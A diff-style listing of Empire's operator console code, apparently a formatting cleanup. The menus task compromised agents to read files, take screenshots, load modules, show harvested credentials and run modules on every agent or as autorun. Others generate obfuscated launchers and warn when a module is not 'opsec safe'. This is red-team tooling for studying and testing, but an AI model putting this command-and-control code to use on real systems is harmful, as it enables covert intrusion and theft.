34493432 else:
34503433 print(helpers.color("[!] Please enter a valid file path to upload"))
3451
3452
3434
34533435 def do_usemodule(self, line):
34543436 "Use an Empire Python module."
3455
3437
34563438 # Strip asterisks added by MainMenu.complete_usemodule()
3457 module = "python/%s" %(line.strip().rstrip("*"))
3458
3459
3439 module = "python/%s" % (line.strip().rstrip("*"))
3440
34603441 if module not in self.mainMenu.modules.modules:
34613442 print(helpers.color("[!] Error: invalid module"))
34623443 else:
34633444 module_menu = ModuleMenu(self.mainMenu, module, agent=self.sessionID)
34643445 module_menu.cmdloop()
3465
3466
3446
34673447 def do_searchmodule(self, line):
34683448 "Search Empire module names/descriptions."
3469
3449
34703450 searchTerm = line.strip()
3471
3451
34723452 if searchTerm.strip() == "":
34733453 print(helpers.color("[!] Please enter a search term."))
34743454 else:
34753455 self.mainMenu.modules.search_modules(searchTerm)
3476
3456
34773457 def do_osx_screenshot(self, line):
34783458 "Use the python-mss module to take a screenshot, and save the image to the server. Not opsec safe"
34793459
34803460 if self.mainMenu.modules.modules['python/collection/osx/native_screenshot']:
34813461 module = self.mainMenu.modules.modules['python/collection/osx/native_screenshot']
34823462 module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
3483 #execute screenshot module
3463 # execute screenshot module
34843464 msg = "[*] Tasked agent to take a screenshot"
34853465 module_menu = ModuleMenu(self.mainMenu, 'python/collection/osx/native_screenshot')
34863466 print(helpers.color(msg, color="green"))
34873467 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3488
3468
34893469 # dispatch this event
34903470 message = "[*] Tasked agent to take a screenshot"
34913471 signal = json.dumps({
34933473 'message': message
34943474 })
34953475 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3496
3476
34973477 module_menu.do_execute("")
34983478 else:
34993479 print(helpers.color("[!] python/collection/osx/screenshot module not loaded"))
3500
3480
35013481 def do_cat(self, line):
35023482 "View the contents of a file"
3503
3483
35043484 if line != "":
3505
35063485 cmd = """
35073486 try:
35083487 output = ""
35163495 """ % (line)
35173496 # task the agent with this shell command
35183497 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", str(cmd))
3519
3498
35203499 # dispatch this event
35213500 message = "[*] Tasked agent to cat file: {}".format(line)
35223501 signal = json.dumps({
35253504 'file_name': line
35263505 })
35273506 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3528
3507
35293508 # update the agent log
35303509 msg = "Tasked agent to cat file %s" % (line)
35313510 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3532
3511
35333512 def do_loadpymodule(self, line):
35343513 "Import zip file containing a .py module or package with an __init__.py"
3535
3514
35363515 path = line.strip()
3537 #check the file ext and confirm that the path given is a file
3516 # check the file ext and confirm that the path given is a file
35383517 if os.path.splitext(path)[-1] == '.zip' and os.path.isfile(path):
3539 #open a handle to the file and save the data to a variable, zlib compress
3518 # open a handle to the file and save the data to a variable, zlib compress
35403519 filename = os.path.basename(path).rstrip('.zip')
35413520 open_file = open(path, 'rb')
35423521 module_data = open_file.read()
35433522 open_file.close()
3544
3523
35453524 # dispatch this event
35463525 message = "[*] Tasked agent to import {}, md5: {}".format(path, hashlib.md5(module_data).hexdigest())
35473526 signal = json.dumps({
35513530 'import_md5': hashlib.md5(module_data).hexdigest()
35523531 })
35533532 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3554
3555 msg = "Tasked agent to import "+path+" : "+hashlib.md5(module_data).hexdigest()
3533
3534 msg = "Tasked agent to import " + path + " : " + hashlib.md5(module_data).hexdigest()
35563535 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3557
3536
35583537 c = compress.compress()
35593538 start_crc32 = c.crc32_data(module_data)
35603539 comp_data = c.comp_data(module_data, 9)
35643543 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_IMPORT_MODULE", data)
35653544 else:
35663545 print(helpers.color("[!] Please provide a valid zipfile path", color="red"))
3567
3568
3546
35693547 def do_viewrepo(self, line):
35703548 "View the contents of a repo. if none is specified, all files will be returned"
35713549 repoName = line.strip()
3572
3550
35733551 # dispatch this event
35743552 message = "[*] Tasked agent to view repo contents: {}".format(repoName)
35753553 signal = json.dumps({
35783556 'repo_name': repoName
35793557 })
35803558 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3581
3559
35823560 # update the agent log
35833561 msg = "[*] Tasked agent to view repo contents: " + repoName
35843562 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
3585
3563
35863564 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_VIEW_MODULE", repoName)
3587
3565
35883566 def do_removerepo(self, line):
35893567 "Remove a repo"
35903568 repoName = line.strip()
3591
3569
35923570 # dispatch this event
35933571 message = "[*] Tasked agent to remove repo: {}".format(repoName)
35943572 signal = json.dumps({
35973575 'repo_name': repoName
35983576 })
35993577 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
3600
3601 msg = "[*] Tasked agent to remove repo: "+repoName
3578
3579 msg = "[*] Tasked agent to remove repo: " + repoName
36023580 print(helpers.color(msg, color="green"))
36033581 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
36043582 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_REMOVE_MODULE", repoName)
3605
3583
36063584 def do_creds(self, line):
36073585 "Display/return credentials from the database."
36083586 self.mainMenu.do_creds(line)
3609
3587
36103588 def complete_loadpymodule(self, text, line, begidx, endidx):
36113589 "Tab-complete a zip file path"
36123590 return helpers.complete_path(text, line)
3613
3591
36143592 def complete_pythonscript(self, text, line, begidx, endidx):
36153593 "Tab-complete a zip file path"
36163594 return helpers.complete_path(text, line)
3617
3595
36183596 def complete_usemodule(self, text, line, begidx, endidx):
36193597 "Tab-complete an Empire Python module path"
36203598 return self.mainMenu.complete_usemodule(text, line, begidx, endidx, language='python')
3621
3622
3599
36233600 def complete_upload(self, text, line, begidx, endidx):
36243601 "Tab-complete an upload file path"
36253602 return helpers.complete_path(text, line)
3603
36263604
36273605 # def complete_updateprofile(self, text, line, begidx, endidx):
36283606 # "Tab-complete an updateprofile path"
36333611 """
36343612 The main class used by Empire to drive the 'listener' menu.
36353613 """
3614
36363615 def __init__(self, mainMenu):
36373616 SubMenu.__init__(self, mainMenu)
3638
3617
36393618 self.doc_header = 'Listener Commands'
3640
3619
36413620 # set the prompt text
36423621 self.prompt = '(Empire: ' + helpers.color('listeners', color='blue') + ') > '
3643
3622
36443623 # display all active listeners on menu startup
36453624 messages.display_listeners(self.mainMenu.listeners.activeListeners)
36463625 messages.display_listeners(self.mainMenu.listeners.get_inactive_listeners(), "Inactive")
3647
3626
36483627 def do_back(self, line):
36493628 "Go back to the main menu."
36503629 raise NavMain()
3651
3630
36523631 def do_list(self, line):
36533632 "List all active listeners (or agents)."
3654
3633
36553634 if line.lower().startswith('agents'):
36563635 self.mainMenu.do_list('agents ' + str(' '.join(line.split(' ')[1:])))
36573636 elif line.lower().startswith("listeners"):
36583637 self.mainMenu.do_list('listeners ' + str(' '.join(line.split(' ')[1:])))
36593638 else:
36603639 self.mainMenu.do_list('listeners ' + str(line))
3661
3662
3640
36633641 def do_kill(self, line):
36643642 "Kill one or all active listeners."
3665
3643
36663644 listenerID = line.strip()
3667
3645
36683646 if listenerID.lower() == 'all':
36693647 try:
36703648 choice = input(helpers.color('[>] Kill all listeners? [y/N] ', 'red'))
36723650 self.mainMenu.listeners.kill_listener('all')
36733651 except KeyboardInterrupt:
36743652 print('')
3675
3653
36763654 else:
36773655 self.mainMenu.listeners.kill_listener(listenerID)
3678
3656
36793657 def do_delete(self, line):
36803658 "Delete listener(s) from the database"
3681
3659
36823660 listener_id = line.strip()
3683
3661
36843662 if listener_id.lower() == "all":
36853663 try:
36863664 choice = input(helpers.color("[>] Delete all listeners? [y/N] ", "red"))
36883666 self.mainMenu.listeners.delete_listener("all")
36893667 except KeyboardInterrupt:
36903668 print('')
3691
3669
36923670 else:
36933671 self.mainMenu.listeners.delete_listener(listener_id)
3694
3672
36953673 def do_usestager(self, line):
36963674 "Use an Empire stager."
3697
3675
36983676 parts = line.split(' ')
3699
3677
37003678 if parts[0] not in self.mainMenu.stagers.stagers:
37013679 print(helpers.color("[!] Error: invalid stager module"))
3702
3680
37033681 elif len(parts) == 1:
37043682 stager_menu = StagerMenu(self.mainMenu, parts[0])
37053683 stager_menu.cmdloop()
37133691 stager_menu.cmdloop()
37143692 else:
37153693 print(helpers.color("[!] Error in ListenerMenu's do_userstager()"))
3716
3717
3694
37183695 def do_uselistener(self, line):
37193696 "Use an Empire listener module."
3720
3697
37213698 parts = line.split(' ')
3722
3699
37233700 if parts[0] not in self.mainMenu.listeners.loadedListeners:
37243701 print(helpers.color("[!] Error: invalid listener module"))
37253702 else:
37263703 listenerMenu = ListenerMenu(self.mainMenu, parts[0])
37273704 listenerMenu.cmdloop()
3728
3729
3705
37303706 def do_info(self, line):
37313707 "Display information for the given active listener."
3732
3708
37333709 listenerName = line.strip()
3734
3710
37353711 if listenerName not in self.mainMenu.listeners.activeListeners:
37363712 print(helpers.color("[!] Invalid listener name"))
37373713 else:
37383714 messages.display_active_listener(self.mainMenu.listeners.activeListeners[listenerName])
3739
3740
3715
37413716 def do_launcher(self, line):
37423717 "Generate an initial launcher for a listener."
3743
3718
37443719 parts = line.strip().split()
37453720 if len(parts) != 2:
37463721 print(helpers.color("[!] Please enter 'launcher <language> <listenerName>'"))
37483723 else:
37493724 language = parts[0].lower()
37503725 listenerName = self.mainMenu.listeners.get_listener_name(parts[1])
3751
3726
37523727 if listenerName:
37533728 try:
37543729 # set the listener value for the launcher
37663741 stager.options['Obfuscate']['Value'] = "True"
37673742 else:
37683743 stager.options['Obfuscate']['Value'] = "False"
3769
3744
37703745 # dispatch this event
37713746 message = "[*] Generated launcher"
37723747 signal = json.dumps({
37753750 'options': stager.options
37763751 })
37773752 dispatcher.send(signal, sender="empire")
3778
3753
37793754 print(stager.generate())
37803755 except Exception as e:
37813756 print(helpers.color("[!] Error generating launcher: %s" % (e)))
3782
3757
37833758 else:
37843759 print(helpers.color("[!] Please enter a valid listenerName"))
3785
3760
37863761 def do_enable(self, line):
37873762 "Enables and starts one or all listeners."
3788
3763
37893764 listenerID = line.strip()
3790
3765
37913766 if listenerID == '':
37923767 print(helpers.color("[!] Please provide a listener name"))
37933768 elif listenerID.lower() == 'all':
37973772 self.mainMenu.listeners.enable_listener('all')
37983773 except KeyboardInterrupt:
37993774 print('')
3800
3775
38013776 else:
38023777 self.mainMenu.listeners.enable_listener(listenerID)
3803
3778
38043779 def do_disable(self, line):
38053780 "Disables (stops) one or all listeners. The listener(s) will not start automatically with Empire"
3806
3781
38073782 listenerID = line.strip()
3808
3783
38093784 if listenerID.lower() == 'all':
38103785 try:
38113786 choice = input(helpers.color('[>] Stop all listeners? [y/N] ', 'red'))
38133788 self.mainMenu.listeners.shutdown_listener('all')
38143789 except KeyboardInterrupt:
38153790 print('')
3816
3791
38173792 else:
38183793 self.mainMenu.listeners.disable_listener(listenerID)
3819
3820 def do_edit(self,line):
3794
3795 def do_edit(self, line):
38213796 "Change a listener option, will not take effect until the listener is restarted"
3822
3797
38233798 arguments = line.strip().split(" ")
38243799 if len(arguments) < 2:
38253800 print(helpers.color("[!] edit <listener name> <option name> <option value> (leave value blank to unset)"))
38293804 self.mainMenu.listeners.update_listener_options(arguments[0], arguments[1], ' '.join(arguments[2:]))
38303805 if arguments[0] in list(self.mainMenu.listeners.activeListeners.keys()):
38313806 print(helpers.color("[*] This change will not take effect until the listener is restarted"))
3832
3807
38333808 def complete_usestager(self, text, line, begidx, endidx):
38343809 "Tab-complete an Empire stager module path."
38353810 return self.mainMenu.complete_usestager(text, line, begidx, endidx)
3836
3837
3811
38383812 def complete_kill(self, text, line, begidx, endidx):
38393813 "Tab-complete listener names"
3840
3814
38413815 # get all the listener names
38423816 names = list(self.mainMenu.listeners.activeListeners.keys()) + ["all"]
38433817 mline = line.partition(' ')[2]
38443818 offs = len(mline) - len(text)
38453819 return [s[offs:] for s in names if s.startswith(mline)]
3846
3820
38473821 def complete_enable(self, text, line, begidx, endidx):
38483822 # tab complete for inactive listener names
3849
3823
38503824 inactive = self.mainMenu.listeners.get_inactive_listeners()
38513825 names = list(inactive.keys())
38523826 mline = line.partition(' ')[2]
38533827 offs = len(mline) - len(text)
38543828 return [s[offs:] for s in names if s.startswith(mline)]
3855
3829
38563830 def complete_disable(self, text, line, begidx, endidx):
38573831 # tab complete for listener names
38583832 # get all the listener names
38603834 mline = line.partition(' ')[2]
38613835 offs = len(mline) - len(text)
38623836 return [s[offs:] for s in names if s.startswith(mline)]
3863
3837
38643838 def complete_delete(self, text, line, begidx, endidx):
38653839 # tab complete for listener names
38663840 # get all the listener names
38683842 mline = line.partition(' ')[2]
38693843 offs = len(mline) - len(text)
38703844 return [s[offs:] for s in names if s.startswith(mline)]
3871
3845
38723846 def complete_launcher(self, text, line, begidx, endidx):
38733847 "Tab-complete language types and listener names/IDs"
3874
3848
38753849 languages = ['powershell', 'python']
3876
3850
38773851 if line.split(' ')[1].lower() in languages:
38783852 # if we already have a language name, tab-complete listener names
38793853 listenerNames = self.mainMenu.listeners.get_listener_names()
38863860 mline = line.partition(' ')[2]
38873861 offs = len(mline) - len(text)
38883862 return [s[offs:] for s in languages if s.startswith(mline)]
3889
3890
3863
38913864 def complete_info(self, text, line, begidx, endidx):
38923865 "Tab-complete listener names/IDs"
3893
3866
38943867 # get all the listener names
38953868 names = list(self.mainMenu.listeners.activeListeners.keys())
38963869 mline = line.partition(' ')[2]
38973870 offs = len(mline) - len(text)
38983871 return [s[offs:] for s in names if s.startswith(mline)]
3899
3900
3872
39013873 def complete_uselistener(self, text, line, begidx, endidx):
39023874 "Tab-complete an uselistener command"
3903
3875
39043876 names = list(self.mainMenu.listeners.loadedListeners.keys())
39053877 mline = line.partition(' ')[2]
39063878 offs = len(mline) - len(text)
39083880
39093881
39103882 class ListenerMenu(SubMenu):
3911
3883
39123884 def __init__(self, mainMenu, listenerName):
3913
3885
39143886 SubMenu.__init__(self, mainMenu)
3915
3887
39163888 if listenerName not in self.mainMenu.listeners.loadedListeners:
39173889 print(helpers.color("[!] Listener '%s' not currently valid!" % (listenerName)))
39183890 raise NavListeners()
3919
3891
39203892 self.doc_header = 'Listener Commands'
3921
3893
39223894 self.listener = self.mainMenu.listeners.loadedListeners[listenerName]
39233895 self.listenerName = listenerName
3924
3896
39253897 # set the text prompt
39263898 self.prompt = '(Empire: ' + helpers.color("listeners/%s" % (listenerName), 'red') + ') > '
3927
3899
39283900 def do_info(self, line):
39293901 "Display listener module options."
39303902 messages.display_listener_module(self.listener)
3931
3932
3903
39333904 def do_execute(self, line):
39343905 "Execute the given listener module."
3935
3906
39363907 self.mainMenu.listeners.start_listener(self.listenerName, self.listener)
3937
3938
3908
39393909 def do_launcher(self, line):
39403910 "Generate an initial launcher for this listener."
3941
3911
39423912 self.listenerName = self.listener.options['Name']['Value']
39433913 parts = line.strip().split()
3944
3914
39453915 if len(parts) != 1:
39463916 print(helpers.color("[!] Please enter 'launcher <language>'"))
39473917 return
3948
3918
39493919 try:
39503920 # set the listener value for the launcher
39513921 listenerOptions = self.mainMenu.listeners.activeListeners[self.listenerName]
39583928 stager.options['ProxyCreds']['Value'] = listenerOptions['options']['ProxyCreds']['Value']
39593929 except:
39603930 pass
3961
3931
39623932 # dispatch this event
39633933 message = "[*] Generated launcher"
39643934 signal = json.dumps({
39673937 'options': stager.options
39683938 })
39693939 dispatcher.send(signal, sender="empire")
3970
3940
39713941 print(stager.generate())
39723942 except Exception as e:
39733943 print(helpers.color("[!] Error generating launcher: %s" % (e)))
3974
3975
3944
39763945 def do_set(self, line):
39773946 "Set a listener option."
3978
3947
39793948 parts = line.split()
3980
3949
39813950 try:
39823951 option = parts[0]
39833952 if option not in self.listener.options:
39843953 print(helpers.color("[!] Invalid option specified."))
3985
3954
39863955 elif len(parts) == 1:
39873956 # "set OPTION"
39883957 # check if we're setting a switch
39943963 # otherwise "set OPTION VALUE"
39953964 option = parts[0]
39963965 value = ' '.join(parts[1:])
3997
3966
39983967 if value == '""' or value == "''":
39993968 value = ""
4000
3969
40013970 self.mainMenu.listeners.set_listener_option(self.listenerName, option, value)
4002
3971
40033972 except Exception as e:
40043973 print(helpers.color("[!] Error in setting listener option: %s" % (e)))
4005
4006
3974
40073975 def do_unset(self, line):
40083976 "Unset a listener option."
4009
3977
40103978 option = line.split()[0]
4011
3979
40123980 if line.lower() == "all":
40133981 for option in self.listener.options:
40143982 self.listener.options[option]['Value'] = ''
40163984 print(helpers.color("[!] Invalid option specified."))
40173985 else:
40183986 self.listener.options[option]['Value'] = ''
4019
4020
3987
40213988 def complete_set(self, text, line, begidx, endidx):
40223989 "Tab-complete a listener option to set."
4023
3990
40243991 options = list(self.listener.options.keys())
4025
3992
40263993 if line.split(' ')[1].lower().endswith('path'):
40273994 return helpers.complete_path(text, line, arg=True)
4028
3995
40293996 elif line.split(' ')[1].lower().endswith('file'):
40303997 return helpers.complete_path(text, line, arg=True)
4031
3998
40323999 elif line.split(' ')[1].lower().endswith('host'):
40334000 return [helpers.lhost()]
4034
4001
40354002 elif line.split(' ')[1].lower().endswith('listener'):
40364003 listenerNames = self.mainMenu.listeners.get_listener_names()
40374004 end_line = ' '.join(line.split(' ')[1:])
40384005 mline = end_line.partition(' ')[2]
40394006 offs = len(mline) - len(text)
40404007 return [s[offs:] for s in listenerNames if s.startswith(mline)]
4041
4008
40424009 # otherwise we're tab-completing an option name
40434010 mline = line.partition(' ')[2]
40444011 offs = len(mline) - len(text)
40454012 return [s[offs:] for s in options if s.startswith(mline)]
4046
4047
4013
40484014 def complete_unset(self, text, line, begidx, endidx):
40494015 "Tab-complete a module option to unset."
4050
4016
40514017 options = list(self.listener.options.keys())
4052
4018
40534019 mline = line.partition(' ')[2]
40544020 offs = len(mline) - len(text)
40554021 return [s[offs:] for s in options if s.startswith(mline)]
4056
4057
4022
40584023 def complete_launcher(self, text, line, begidx, endidx):
40594024 "Tab-complete language types"
4060
4025
40614026 languages = ['powershell', 'python']
4062
4027
40634028 mline = line.partition(' ')[2]
40644029 offs = len(mline) - len(text)
40654030 return [s[offs:] for s in languages if s.startswith(mline)]
40694034 """
40704035 The main class used by Empire to drive the 'module' menu.
40714036 """
4037
40724038 def __init__(self, mainMenu, moduleName, agent=None):
4073
4039
40744040 SubMenu.__init__(self, mainMenu)
40754041 self.doc_header = 'Module Commands'
4076
4042
40774043 try:
40784044 # get the current module/name
40794045 self.moduleName = moduleName
40804046 self.module = self.mainMenu.modules.modules[moduleName]
4081
4047
40824048 # set the prompt text
40834049 self.prompt = '(Empire: ' + helpers.color(self.moduleName, color="blue") + ') > '
4084
4050
40854051 # if this menu is being called from an agent menu
40864052 if agent and 'Agent' in self.module.options:
40874053 # resolve the agent sessionID to a name, if applicable
40884054 agent = self.mainMenu.agents.get_agent_name_db(agent)
40894055 self.module.options['Agent']['Value'] = agent
4090
4056
40914057 except Exception as e:
40924058 print(helpers.color("[!] ModuleMenu() init error: %s" % (e)))
4093
4059
40944060 def validate_options(self, prompt):
40954061 "Ensure all required module options are completed."
4096
4062
40974063 # ensure all 'Required=True' options are filled in
40984064 for option, values in self.module.options.items():
40994065 if values['Required'] and ((not values['Value']) or (values['Value'] == '')):
41004066 print(helpers.color("[!] Error: Required module option missing."))
41014067 return False
4102
4068
41034069 # 'Agent' is set for all but external/* modules
41044070 if 'Agent' in self.module.options:
41054071 sessionID = self.module.options['Agent']['Value']
41084074 if sessionID.lower() != "all" and sessionID.lower() != "autorun":
41094075 moduleLangVersion = float(self.module.info['MinLanguageVersion'])
41104076 agent_lang_version = float(self.mainMenu.agents.get_language_version_db(sessionID))
4111
4077
41124078 # check if the agent/module PowerShell versions are compatible
41134079 if moduleLangVersion > agent_lang_version:
4114 print(helpers.color("[!] Error: module requires language version %s but agent running version %s" % (moduleLangVersion, agent_lang_version)))
4080 print(helpers.color(
4081 "[!] Error: module requires language version %s but agent running version %s" % (
4082 moduleLangVersion, agent_lang_version)))
41154083 return False
41164084 except Exception as e:
41174085 print(helpers.color("[!] Invalid module or agent language version: %s" % (e)))
41184086 return False
4119
4087
41204088 # check if the module needs admin privs
41214089 if self.module.info['NeedsAdmin']:
41224090 # if we're running this module for all agents, skip this validation
41244092 if not self.mainMenu.agents.is_agent_elevated(sessionID):
41254093 print(helpers.color("[!] Error: module needs to run in an elevated context."))
41264094 return False
4127
4095
41284096 # if the module isn't opsec safe, prompt before running (unless "execute noprompt" was issued)
41294097 if prompt and ('OpsecSafe' in self.module.info) and (not self.module.info['OpsecSafe']):
4130
4098
41314099 try:
41324100 choice = input(helpers.color("[>] Module is not opsec safe, run? [y/N] ", "red"))
41334101 if not (choice.lower() != "" and choice.lower()[0] == "y"):
41354103 except KeyboardInterrupt:
41364104 print("")
41374105 return False
4138
4106
41394107 return True
4140
4108
41414109 def do_list(self, line):
41424110 "Lists all active agents (or listeners)."
4143
4111
41444112 if line.lower().startswith("listeners"):
41454113 self.mainMenu.do_list("listeners " + str(' '.join(line.split(' ')[1:])))
41464114 elif line.lower().startswith("agents"):
41474115 self.mainMenu.do_list("agents " + str(' '.join(line.split(' ')[1:])))
41484116 else:
41494117 print(helpers.color("[!] Please use 'list [agents/listeners] <modifier>'."))
4150
4118
41514119 def do_reload(self, line):
41524120 "Reload the current module."
4153
4121
41544122 print("\n" + helpers.color("[*] Reloading module") + "\n")
4155
4123
41564124 # reload the specific module
41574125 self.mainMenu.modules.reload_module(self.moduleName)
41584126 # regrab the reference
41594127 self.module = self.mainMenu.modules.modules[self.moduleName]
4160
4161
4128
41624129 def do_info(self, line):
41634130 "Display module options."
41644131 messages.display_module(self.moduleName, self.module)
4165
4166
4132
41674133 def do_options(self, line):
41684134 "Display module options."
41694135 messages.display_module(self.moduleName, self.module)
4170
4171
4136
41724137 def do_set(self, line):
41734138 "Set a module option."
4174
4139
41754140 parts = line.split()
4176
4141
41774142 try:
41784143 option = parts[0]
41794144 if option not in self.module.options:
41804145 print(helpers.color("[!] Invalid option specified."))
4181
4146
41824147 elif len(parts) == 1:
41834148 # "set OPTION"
41844149 # check if we're setting a switch
41904155 # otherwise "set OPTION VALUE"
41914156 option = parts[0]
41924157 value = ' '.join(parts[1:])
4193
4158
41944159 if value == '""' or value == "''":
41954160 value = ""
4196
4161
41974162 self.module.options[option]['Value'] = value
41984163 except:
41994164 print(helpers.color("[!] Error in setting option, likely invalid option name."))
4200
4201
4165
42024166 def do_unset(self, line):
42034167 "Unset a module option."
4204
4168
42054169 option = line.split()[0]
4206
4170
42074171 if line.lower() == "all":
42084172 for option in self.module.options:
42094173 self.module.options[option]['Value'] = ''
42114175 print(helpers.color("[!] Invalid option specified."))
42124176 else:
42134177 self.module.options[option]['Value'] = ''
4214
4215
4178
42164179 def do_usemodule(self, line):
42174180 "Use an Empire PowerShell module."
4218
4181
42194182 # Strip asterisks added by MainMenu.complete_usemodule()
42204183 module = line.strip().rstrip("*")
4221
4184
42224185 if module not in self.mainMenu.modules.modules:
42234186 print(helpers.color("[!] Error: invalid module"))
42244187 else:
42254188 _agent = ''
42264189 if 'Agent' in self.module.options:
42274190 _agent = self.module.options['Agent']['Value']
4228
4191
42294192 line = line.strip("*")
42304193 module_menu = ModuleMenu(self.mainMenu, line, agent=_agent)
42314194 module_menu.cmdloop()
4232
4233
4195
42344196 def do_creds(self, line):
42354197 "Display/return credentials from the database."
42364198 self.mainMenu.do_creds(line)
4237
4238
4199
42394200 def do_execute(self, line):
42404201 "Execute the given Empire module."
4241
4202
42424203 prompt = True
42434204 if line == "noprompt":
42444205 prompt = False
4245
4206
42464207 if not self.validate_options(prompt):
42474208 return
4248
4209
42494210 if self.moduleName.lower().startswith('external/'):
42504211 # external/* modules don't include an agent specification, and only have
42514212 # an execute() method
42544215 agentName = self.module.options['Agent']['Value']
42554216 moduleName = self.moduleName
42564217 moduleData = self.module.generate(self.mainMenu.obfuscate, self.mainMenu.obfuscateCommand)
4257
4218
42584219 if not moduleData or moduleData == "":
42594220 print(helpers.color("[!] Error: module produced an empty script"))
42604221 return
42614222
42624223 ############################################
42634224 ## No longer needed
4264 #try:
4265 #moduleData = moduleData.encode('UTF-8')
4266 #print("im awesome")
4267 #moduleData.decode('ascii')
4268 #except UnicodeDecodeError:
4225 # try:
4226 # moduleData = moduleData.encode('UTF-8')
4227 # print("im awesome")
4228 # moduleData.decode('ascii')
4229 # except UnicodeDecodeError:
42694230 # print(helpers.color("[!] Error: module source contains non-ascii characters"))
42704231 # return
42714232 ############################################print
42724233
42734234 # strip all comments from the module
42744235 moduleData = helpers.strip_powershell_comments(moduleData)
4275
4236
42764237 taskCommand = ""
4277
4238
42784239 # build the appropriate task command and module data blob
42794240 if str(self.module.info['Background']).lower() == "true":
42804241 # if this module should be run in the background
42984259 taskCommand = "TASK_CMD_WAIT_SAVE"
42994260 else:
43004261 taskCommand = "TASK_CMD_WAIT"
4301
4262
43024263 # if we're running the module on all modules
43034264 if agentName.lower() == "all":
43044265 try:
43054266 choice = input(helpers.color("[>] Run module on all agents? [y/N] ", "red"))
43064267 if choice.lower() != "" and choice.lower()[0] == "y":
4307
4268
43084269 # signal everyone with what we're doing
43094270 message = "[*] Tasking all agents to run {}".format(self.moduleName)
43104271 signal = json.dumps({
43124273 'message': message
43134274 })
43144275 dispatcher.send(signal, sender="agents/all/{}".format(self.moduleName))
4315
4276
43164277 # actually task the agents
43174278 for agent in self.mainMenu.agents.get_agents_db():
4318
43194279 sessionID = agent['session_id']
4320
4280
43214281 # set the agent's tasking in the cache
43224282 self.mainMenu.agents.add_agent_task_db(sessionID, taskCommand, moduleData)
4323
4283
43244284 # update the agent log
43254285 # dispatcher.send("[*] Tasked agent "+sessionID+" to run module " + self.moduleName, sender="Empire")
43264286 message = "[*] Tasked agent {} to run module {}".format(sessionID, self.moduleName)
43324292 dispatcher.send(signal, sender="agents/{}/{}".format(sessionID, self.moduleName))
43334293 msg = "Tasked agent to run module {}".format(self.moduleName)
43344294 self.mainMenu.agents.save_agent_log(sessionID, msg)
4335
4295
43364296 except KeyboardInterrupt:
43374297 print("")
4338
4298
43394299 # set the script to be the global autorun
43404300 elif agentName.lower() == "autorun":
4341
4301
43424302 self.mainMenu.agents.set_autoruns_db(taskCommand, moduleData)
43434303 message = "[*] Set module {} to be global script autorun.".format(self.moduleName)
43444304 signal = json.dumps({
43464306 'message': message
43474307 })
43484308 dispatcher.send(signal, sender="agents")
4349
4309
43504310 else:
43514311 if not self.mainMenu.agents.is_agent_present(agentName):
43524312 print(helpers.color("[!] Invalid agent name."))
43534313 else:
43544314 # set the agent's tasking in the cache
43554315 self.mainMenu.agents.add_agent_task_db(agentName, taskCommand, moduleData, moduleName=moduleName)
4356
4316
43574317 # update the agent log
43584318 message = "[*] Tasked agent {} to run module {}".format(agentName, self.moduleName)
43594319 signal = json.dumps({
43644324 dispatcher.send(signal, sender="agents/{}/{}".format(agentName, self.moduleName))
43654325 msg = "Tasked agent to run module %s" % (self.moduleName)
43664326 self.mainMenu.agents.save_agent_log(agentName, msg)
4367
4368
4327
43694328 def do_run(self, line):
43704329 "Execute the given Empire module."
43714330 self.do_execute(line)
4372
4373
4331
43744332 def do_interact(self, line):
43754333 "Interact with a particular agent."
4376
4334
43774335 name = line.strip()
4378
4336
43794337 if name != "" and self.mainMenu.agents.is_agent_present(name):
43804338 # resolve the passed name to a sessionID
43814339 sessionID = self.mainMenu.agents.get_agent_id_db(name)
4382
4340
43834341 agent_menu = AgentMenu(self.mainMenu, sessionID)
43844342 else:
43854343 print(helpers.color("[!] Please enter a valid agent name"))
4386
4387
4344
43884345 def complete_set(self, text, line, begidx, endidx):
43894346 "Tab-complete a module option to set."
4390
4347
43914348 options = list(self.module.options.keys())
4392
4349
43934350 if line.split(' ')[1].lower() == "agent":
43944351 # if we're tab-completing "agent", return the agent names
43954352 agentNames = self.mainMenu.agents.get_agent_names_db() + ["all", "autorun"]
43964353 end_line = ' '.join(line.split(' ')[1:])
4397
4354
43984355 mline = end_line.partition(' ')[2]
43994356 offs = len(mline) - len(text)
44004357 return [s[offs:] for s in agentNames if s.startswith(mline)]
4401
4358
44024359 elif line.split(' ')[1].lower() == "listener":
44034360 # if we're tab-completing a listener name, return all the names
44044361 listenerNames = self.mainMenu.listeners.get_listener_names()
44064363 mline = end_line.partition(' ')[2]
44074364 offs = len(mline) - len(text)
44084365 return [s[offs:] for s in listenerNames if s.startswith(mline)]
4409
4366
44104367 elif line.split(' ')[1].lower().endswith("path"):
44114368 return helpers.complete_path(text, line, arg=True)
4412
4369
44134370 elif line.split(' ')[1].lower().endswith("file"):
44144371 return helpers.complete_path(text, line, arg=True)
4415
4372
44164373 elif line.split(' ')[1].lower().endswith("host"):
44174374 return [helpers.lhost()]
4418
4375
44194376 elif line.split(' ')[1].lower().endswith("language"):
44204377 languages = ['powershell', 'python']
44214378 end_line = ' '.join(line.split(' ')[1:])
44224379 mline = end_line.partition(' ')[2]
44234380 offs = len(mline) - len(text)
44244381 return [s[offs:] for s in languages if s.startswith(mline)]
4425
4382
44264383 # otherwise we're tab-completing an option name
44274384 mline = line.partition(' ')[2]
44284385 offs = len(mline) - len(text)
44294386 return [s[offs:] for s in options if s.startswith(mline)]
4430
4431
4387
44324388 def complete_unset(self, text, line, begidx, endidx):
44334389 "Tab-complete a module option to unset."
4434
4390
44354391 options = list(self.module.options.keys()) + ["all"]
4436
4392
44374393 mline = line.partition(' ')[2]
44384394 offs = len(mline) - len(text)
44394395 return [s[offs:] for s in options if s.startswith(mline)]
4440
4441
4396
44424397 def complete_usemodule(self, text, line, begidx, endidx):
